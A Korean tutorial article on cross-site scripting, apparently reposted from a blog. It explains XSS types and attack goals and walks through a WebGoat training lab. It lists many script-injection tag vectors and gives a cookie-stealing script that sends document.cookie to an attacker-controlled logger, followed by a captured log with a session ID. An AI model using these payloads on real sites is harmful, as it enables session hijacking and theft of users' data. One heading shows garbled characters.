XSS 보안 위협「당신의 사이트는 안전한가?」

 

웹 애플리케이션은 계속 복잡해지고 있다. 그것도 많은 주체들에 의해서 새로운 표준을 만들어가면서 말이다. 그리고 그 과정에서 보안은 무시되기 쉽다. 여기서 설명하려고 하는 XSS(Cross Site Scripting)가 전형적인 예다. 별 것도 아닌 버그가 너무나도 광범위하게 존재해서 쉽사리 제거하기도 힘든 지경에 이르렀다. 일종의 전신에 퍼진 암처럼 XSS가 없는 웹 페이지에는 ‘XSS Free’ 마크라도 만들어서 붙여줘야 하는 것이 아닌가 생각된다.

어떤 분야이든 전문화가 이뤄지면 전문화된 용어를 갖게 되는데 XSS는 웹 애플리케이션 해킹을 하는 사람들이 사용하는 전문 용어로서 그 단어 자체의 의미는 그렇게 중요하지 않다.

단지 XSS가 무엇인지만 이해하면 되는 것이다. 의사들이 쓰는 전문 용어를 보면서 왜 그렇게 어려운 용어를 사용할까 생각해 본 적이 있을 것이다. 필자의 경우 고민 후에 얻은 결론은 ‘그냥 어쩌다 보니까 그렇게 되었을 것이다’라는 것이다. XSS 또한 그냥 어쩌다 보니 붙여진 이름으로 엄밀히 말해서 그렇게 정확한 용어는 아니다.

세상은 보안의 측면에서 보았을 때에 의외로 허술한 구석이 많다. 사실 보안이라는 개념은 아주 일상적인 개념이다. 보안의 시작은 사적 소유에서부터 시작되는데 자신의 소유물을 타인으로부터 지키려는 행위를 의미하는 것 같다. 하지만 현실 세계에서 이러한 보안의 개념은 형편없이 구현되어 있다.

웬만한 자동차는 30초 내에 문이 열리고 사실 가정마다 설치된 자물쇠는 이론상으로 열릴 수밖에 없는 구조다. 그리고 벽으로 막기 힘든 전자파들에 의한 정보 유출도 있으며 무선랜에 의한 보안성의 상실이 있을 수도 있다. 이렇게 허술한 보안성의 상실을 일으키는 여러 요소들과 어깨를 나란히 할 만한 문제가 바로 ‘XSS’이다. 이만큼 파급 효과가 큰 문제이니 만큼 독자들 대부분은 XSS라는 문제를 이미 몇 번은 경험해 봤을 것이다.

XSS의 정의
먼저 공식적인 XSS의 정의부터 알아보기로 한다. 악의적인 사용자가 만든, 동적으로 생성되는 웹 페이지에서 악의적인 HTML 태그나 스크립트가 포함될 수 있다. XSS는 웹 애플리케이션에 클라이언트로부터 악의적인 데이터를 받아들일 때에 발생할 수 있다. 이렇게 받아들여진 데이터는 다른 클라이언트가 그 페이지에 접근할 경우에 전달 되게 되고, 이 클라이언트는 정상적인 데이터로 인식하고 그 내용을 인터프리트(interpret)하게 된다. 즉, 웹 애플리케이션을 매개로 하여 다른 사용자의 브라우저에서 스크립트 실행이 가능해지는 것이다.

결과적으로 DOM(Document Object Model) security restrictions을 건너뛰어 명령 실행이 가능해진다. DOM은 스크립트가 동적 웹 컨텐츠에 수정을 가하는 데에 대한 개념적인 프레임워크로서 웹 브라우저의 보안 셋팅에 의해 구현되어 있다(http://www.w3.org/DOM/). 이러한 태그나 스크립트는 웹 서버가 입력이나 출력을 제대로 필터링하지 못할 경우에 의도하지 않은 스크립트를 실행하도록 할 수 있다.

대부분의 웹 브라우저들은 웹 페이지에 삽입된 스크립트를 해석하고 실행할 수 있다. 이러한 스크립트는 자바스크립트나 VB스크립트로 짜여진 경우가 많다. 최근에 이러한 스크립트는 웹의 필수 구성요소가 되어 있어서 웹 브라우저는 디폴트로 이러한 스크립트를 실행하도록 해놓는다. XSS는 크로스-플랫폼한 문제이고 복잡하게 연결된 시스템들의 여러 구성요소 사이의 예상하기 어려운 상호작용에 의해서 발생한다.

XSS는 Cross Site Scripting의 준말이니 앞에서 언급했듯이 용어 자체는 이러한 현상에 대한 적절한 표현은 아니지만 초기에 이 용어로 굳어져서 사용하고 있다. 이 문제의 핵심은 동적 페이지에서 보여지는 페이지에 신뢰할 수 없는 내용이 들어갈 수 있다는 점이다. XSS가 발생하면 서버나 클라이언트 양자 모두 이 문제가 발생했는지에 대해 인지하기 어렵고 따라서 방어하기도 힘들다. 이러한 스크립트는 부적절한 시큐리티 컨텍스트(security context)에서 부적절한 권한으로 실행된다.

공격 대상
사용되는 태그
태그를 사용해 스크립트 실행이 이뤄지게 된다. <표 1>과 같은 태그들을 사용해 스크립트를 실행시킬 수 있다. 웹 공격자들이 가장 즐겨 사용하는 태그는 역시 <script> 태그이다.

대상 스㈇냔??언어
다음과 같은 스크립트나 언어가 공격 대상이 된다.


◆ JavaScript
◆ VBScript
◆ ActiveX
◆ HTML
◆ Flash


취약한 코드들
다음과 같은 코드들에서 주로 XSS를 찾을 수 있다. 사실 특정한 유형이 있는 것은 아니지만 에러 메시지 출력 부분이나 게시판 아니면 사용자의 정보를 입력해 다시 보여주는 부분 등이 주로 취약한 부분이 될 경우 많다. 특히 사용자 등이 웹 사이트의 고객 불만 센터 등을 이용할 수 있게 해뒀을 경우 XSS를 바로 관리자에게 날릴 수 있는 최악의 사태가 벌어지기도 한다.


◆ CGI scripts
◆ search engines
◆ interactive bulletin boards
◆ custom error pages


이러한 코드의 다음과 같은 입력 부분에서 XSS가 주로 발생한다. 웹 사이트를 서베이할 때에 공격자들이 눈여겨 보는 부분이다.


◆ URL parameters
◆ Form elements
◆ Cookies
◆ Databases queries


XSS의 두 가지 유형
XSS에는 client-to-client와 client-to-itself 방식의 두 가지 유형이 존재한다.

client-to-client 방식
첫째 client-to-client 방식은 한 클라이언트에서 다른 클라이언트로 악의적인 코드가 전달되는 것이다. 게시판에 글을 쓴다든지 하는 방식으로 악의적인 코드를 전달할 수 있다. BBS나 메시징 시스템 등에 다음과 같이 스크립트가 포함된 내용을 포스팅할 경우에 이 스크립트를 필터링하지 않을 경우에 발생한다.


Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.


 

<그림 1> client-to-client 방식


client-to-itself 방식
또 하나는 client-to-itself 방식이다. 악의적인 코드가 공격 대상이 되는 클라이언트 자신이 보내서 자신이 되돌려 받는 유형이다. 이러한 형태의 공격은 주로 이메일이나 웹 페이지를 통해 링크를 제시하고 사용자가 그러한 링크를 클릭하도록 유도하는 방식으로 이뤄진다.


[1] 매개체
- 이메일이나 뉴스그룹의 메시지를 신뢰할수 없는 링크들
- 다른 웹 사이트나 웹 보드, 인스턴트 메시지로부터의 링크
- 악의적인 코드가 포함된 하이퍼링크의 형태로 전달된다.
- 공격자는 악의적인 코드를 인코딩해서 보내므로 쉽게 식별하기가 힘들고, 사용자가 클릭할 확률이 높아진다.

[2] 자동화
사용자의 개입을 최소화하기 위해 다음과 같은 자동화 태그를 사용할 수 있다.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[xC0][xBC]script>[code][xC0][xBC]/script>

<그림 2> client-to-itself 방식

공격 방법
기본적으로 다음과 같은 공격들이 가능하다. 공격자가 사용자와 웹 사이트 사이의 상호작용을 통제할 수 있다.

[1] 페이지의 모양 바꾸기
이미지나 사운드를 삽입할 수 있다.

[2] SSL 암호화 커넥션 노출
SSL 페이지에 대해서 XSS를 사용해 일반 웹 서버에서 마찬가지 공격이 가능하다. 원래 웹 브라우저는 SSL 페이지에서 SSL 미사용 페이지를 접근할 경우 경고 메시지가 뜨는데, 공격자의 웹 서버를 SSL 사용 웹 서버로 바꾸면 이러한 경고 메시지도 없앨 수 있다.

[3] 쿠키 변형시키기를 통해 공격을 지속시킬 수 있다.
쿠키 자체를 변형시켜서 쿠키에 악의적인 코드를 넣어둘 수도 있다. 이렇게 변형된 쿠키는 이후에 지속적인 공격이 가능하게 해준다.

[4] 제한된 웹 사이트 접근
악의적인 URL을 생성함으로써 사용자의 인트라넷에 있는 데이터를 유출시킬 수 있다. 클라이언트는 인트라넷에 대해서 완전한 접근이 가능한 경우가 많다. 클라이언트가 XSS 공격을 당하면 이러한 인트라넷의 데이터에 대한 접근도 손쉬워진다.

[5] DOM 기반 보안 정책 위반 가능
웹 브라우저에 특정 사이트에 대해서만 스크립트 실행 권한이 있다면 XSS를 통해서 이러한 정책을 위반할 수 있다. 악의적인 스크립트 태그를 서버로 보내고 대상 클라이언트가 이에 대해서 접근한다면 DOM 보안 정책은 무용지물이 된다. 웹 페이지 내의 패스워드나 크레디트 카드 번호와 같은 민감한 정보를 유출시킬 수 있다. 사용자를 속이고 데이터를 수집할 수 있다. 계정 하이재킹(hijacking), 사용자 세팅 변경, 쿠키 훔치기, 쿠키 변형시키기, 잘못된 정보 보여주기 등이 가능하다.   DOS 공격도 가능하다(http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html).

[6] 잘 사용하지 않는 문자 셋을 사용하면 문제를 더 확대시킬 수 있다.
브라우저는 웹 페이지에 문자 셋에 대한 정보를 지정해 두지 않으면 기본적인 문자 셋을 사용한다. 문자열의 불일치로 인해서 특수 문자가 서로 다르게 해석되어 문제가 발생할 소지가 있다.

[7] 폼의 행동 방식을 바꿀 수 있다.
특정한 조건에서 공격자는 폼의 행동 방식과 결과가 어떻게 서브밋(submit)될 지에 대한 방식을 변형시킬 수 있다.

쿠키 훔치기
여러 공격 방법 중에서 가장 흥미를 끄는 것 중의 하나가 바로 ‘쿠키 훔치기’이다. 누가 과자 회사를 상대로 무슨 쿠키를 훔치려고 해킹하는 것인가 하는 생각이 들 것이다. 쿠키라는 것은 일종의 인식표라고 할 수 있다. 웹 브라우저는 웹 서버로부터 쿠키를 배포받게 된다.

제대로 된 쿠키라면 다른 웹 브라우저들이 같은 쿠키를 받을 일은 없을 것이다. 진짜 제대로 된 쿠키라면 고유하면서도 랜덤한 문자열의 형태를 가지면서 인간이 알아볼 수 있는 정보는 저장하지 않게 된다. 이러한 쿠키를 세션 아이디라고도 부른다. 어쨌든 이 쿠키만 훔친다면 상대편 웹 브라우저의 권한을 모조리 행사할 수 있다. 예를 들어 상대편 사용자의 아이디나 패스워드를 몰라도 그 계정으로 로그인한 상태로 들어갈 수 있다는 것이다.

훔치기 기술
사용자의 쿠키를 훔쳐내는 기술이다. document.cookie 오브젝트를 자바스크립트로 읽어서 공격자가 지정한 위치의 cgi에 전달한다. DOM security 세팅을 건너뛰어 사용자의 쿠키에 접근이 가능한 점을 이용해서 사용자의 쿠키를 공격자가 지정한 서버로 전송할 수 있다.

쿠키 훔치기에 사용되는 스크립트
다음과 같은 XSS 스크립트를 사용하면 해당 페이지에서의 공격 대상의 쿠키와 해당 URL을 전송받을 수 있게 된다.

<script>document.location.replace('http://<쿠키로거의 URL>/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>

쿠키 로거
쿠키를 리모트에서 빼내기 위한 로거(logger)이다. Perl로 작성되어 있고 제대로 작동하기 위해서는 인자를 제대로 넘겨주어야 한다. 첫 번째 인자는 바인딩할 포트이고 두 번째 인자는 클라이언트를 리다이렉션시킬 페이지이다. 그럴 듯한 페이지로 리다이렉션시킨다면 사용자는 XSS가 일어난 사실조차 모를 수도 있다.

 쿠키훔치기

WebGoat을 사용한 테스트
WebGoat는 OWASP에서 만든 웹 애플리케이션 보안 교육용 시스템이다. PC나 리눅스 등에 간단히 설치해 웹 브라우저를 사용해 보안에 관한 여러 지식들을 체계적으로 습득하고 실제 테스트해 볼 수 있다. 이 툴을 사용해 XSS에 대해서 아주 간단한 테스트를 진행했다.

설치하기
<화면 1> 인스톨 초기 화면
WebGoat를 설치하는 과정은 다음과 같이 순차적으로 진행하면, <화면 1>과 같이 인스톨이 시작된다. 디폴트 옵션을 사용하도록 하고, 파일을 겹쳐 쓸지 물어보면 겹쳐 쓰도록 한다.


[1] Prerequisite
다음 두 파일을 다운로드한다.
- j2sdk-1_4_2_05-windows-i586-p.exe 파일을  jdk 사이트(http://java.sun.com/j2se/1.4.2/download.html)에서 다운받는다.  
- http://cvs.sourceforge.net/viewcvs.py/*checkout*/owasp/webgoat/dist/
install_WebGoat-3.0_windows.jar?rev=1.4

[2] JDK 인스톨
JDK를 인스톨한다. 표준적인 옵션을 사용한다.

[3] WebGoat 인스톨
install_WebGoat-3.0_windows.jar을 이미 인스톨한 jdk를 사용해 인스톨한다. 환경 변수를 맞추고 진행한다.

set JAVA_HOME=C:j2sdk1.4.2_05
java -jar install_WebGoat-3.0_windows.jar

사용하기
아파치 톰캣 4.1을 메뉴를 통해서 실행한다. 다음과 같은 URL로 접근한다. guest/guest로 로그인하면 된다.

http://localhost:8080/WebGoat
/attack

<화면 2> 톰캣 시작하기

 
<화면 3> WebGoat으로의 로그인   <화면 4> guest로 로그인

XSS 테스트
<화면 5>와 같이 XSS 스크립트를 입력한다. 게시물을 확인한 결과 <화면 6>과 같이 XSS가 발생했다. 그 다음 항목인 반응성 XSS를 테스트한다. <화면 7>과 같이 XSS 스크립트를 입력한다. 폼을 서브밋하자마자 <화면 8>에서와 같이 XSS 스크립트가 실행된다.

 
<화면 5> XSS 테스트 화면   <화면 6> XSS 결과

 
<화면 7> XSS 데이터 입력   <화면 8> XSS 발생

쿠키 훔치기
alert는 단지 사용자의 화면에 내용을 뿌려주는 함수로서 공격자에게 아무런 정보도 주지 않는 단지 검증을 위한 코드이다. 실제로 쿠키를 빼돌릴 수 있는지를 다음과 같은 스크립트를 사용해 테스트해 본다.

<script>document.location.replace('http://10.1.1.1:8080/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>

<그림 3>과 같은 쿠키 훔치기 시나리오를 사용한다. 먼저 로거를 공격자의 시스템에서 동작시킨다(<화면 9>). <화면 10>과 같이 게시판 시스템에 XSS 스트링을 입력한다. 공격 대상이 메시지를 확인한다(<화면 11>). 공격 대상의 웹 브라우저에서 페이지 리다이렉션이 일어난다(<화면 12>). 다음은 이런 과정을 통해 얻어낸 쿠키를 포함한 로깅 데이터이다.

<그림 3> 쿠키 훔치기 시나리오

 
<화면 9> 로거 바인딩   <화면 10> 스트링 입력

 
<화면 11> 메시지 확인   <화면 12> 페이지 리다이렉션

실제 쿠키 부분은 "JSESSIONID=C017B97A3E7981C027A1B6AA555A064E" 이다. 이 쿠키를 이용해 해당 사용자의 세션을 훔쳐내는 것이 가능하다.

From: 10.1.1.100
GET /cookie.cgi?JSESSIONID=C017B97A3E7981C027A1B6AA555A064E&http://localhost:808
0/WebGoat/attack?Num=31 HTTP/1.1^M
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application
/msword, */*^M
Accept-Language: ko^M
Accept-Encoding: gzip, deflate^M
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)^M
Host: 10.1.1.1:8080^M
Connection: Keep-Alive^M
^M

별거 아닌 것 같지만 치명적인!
이번 호에서는 가장 실생활에 영향력이 큰 주제 중의 하나인 XSS에 대해서 알아봤다. 아주 말도 안 되는 주제인 듯 하지만 실제로 이를 이용한 공격은 아주 치명적이다. 더 큰 문제는 이 취약점의 공격 대상이 모호해서 방화벽 등의 보안 솔루션으로는 방지하는 것 자체가 불가능하다는 것이다.

웹 애플리케이션 방화벽 등으로는 어느 정도까지 방지가 될지도 모르겠다. 스크립트 같은 자유도가 높은 패턴을 일일이 감지하는 것이 그렇게 만만한 일은 아닐 것이다. 그렇다고 모든 웹 애플리케이션들을 ‘XSS Free’로 만드는 것은 사실상 거의 불가능에 가까운 일이다. 어디에선가 문제가 발생할 소지가 반드시 있기 마련이다.

보안이라는 주제 아래에 여러 가지 서브카테고리가 존재한다. 결국 보안은 거의 모든 IT의 분야들이 서브카테고리로 포함된다. XSS는 웹 애플리케이션이라는 서브카테고리에 해당하는 보안 취약성으로서 최근에 유행했던 조류라고 볼 수 있다. 이렇게 별 것 아닌 것처럼 보안 취약성은 툭 튀어 나오지만 그 파장은 정말로 크고 가끔은 정보 인프라 자체를 위험에 빠뜨리기도 한다.

더욱 난감한 것은 그러한 취약점을 해결할 만한 솔루션이 즉각 나오는 것이 아니라 몇 년의 시간을 두고 시장에 나타난다는 것이다. 그 기간 동안 사용자들은 필연적으로 공격의 위험에 노출되게 된다. 그만큼 정보의 바다는 아직까지는 위험한 장소가 될 수밖에 없는 이유이다. 더구나 XSS 같은 경우에는 패치를 열심히 한다고 해결되는 것도 아니니 더욱 난감하기까지 하다.

결국 이러한 취약성의 발견과 해결의 과정들을 더 유연하고 빠르게 만드는 것이 보안 컨설턴트의 임무가 아닌가 한다. 참, 쿠키 탈취 과정에서 아마도 앞에서 소개한 쿠키 탈취용 스크립트가 입력되지 않을 것이다. 그 부분은 독자의 숙제로 남겨 두겠다. 기존의 스트링에 조금 변형을 줘야 한다. @

출처 : Tong - nunosix님의 보안통